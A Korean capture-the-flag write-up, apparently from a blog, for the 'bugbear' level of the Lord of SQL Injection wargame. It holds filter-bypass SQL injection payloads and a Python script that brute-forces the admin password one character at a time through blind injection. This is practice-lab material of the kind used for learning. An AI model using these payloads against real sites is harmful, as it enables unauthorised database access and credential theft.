drarkknight문제와 비슷한데 like 0x가 필터링된다.
hex를 쓸수 없다. like는 in으로 대체하고 공백은 주석으로 넘겨주자.
pw길이를 알기위해 넣어주었다.
no=2/**/||/**/id/**/in("admin")/**/%26%26/**/length(pw)/**/in(8)
bin(ord('a')) 이용하면 2진수로 1글자씩 뜯어올수 있다. admin을 2진수로 다 변환시켜서 넣어보자
import requests
cookies= {'PHPSESSID':'bme8kemqnchvr6qmbblqpbbs05'}
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
pw = ''
for i in range(1,9):
for j in range(48,127):
payload = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+pw+chr(j)+'")'
new_url = url+payload
res = requests.get(new_url, cookies=cookies)
res.raise_for_status()
if "Hello admin" in res.text :
pw += chr(j)
print("pw: "+pw)
break
print ("pw : "+pw)
'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글
[Lord of SQL Injection] 15번 assassin (0) | 2021.01.22 |
---|---|
[Lord of SQL Injection] 14번 giant (0) | 2021.01.21 |
[Lord of SQL Injection] 12번 darkknight (0) | 2021.01.21 |
[Lord of SQL Injection] 11번 golem (0) | 2021.01.21 |
[Lord of SQL Injection] 10번 skeleton (0) | 2021.01.21 |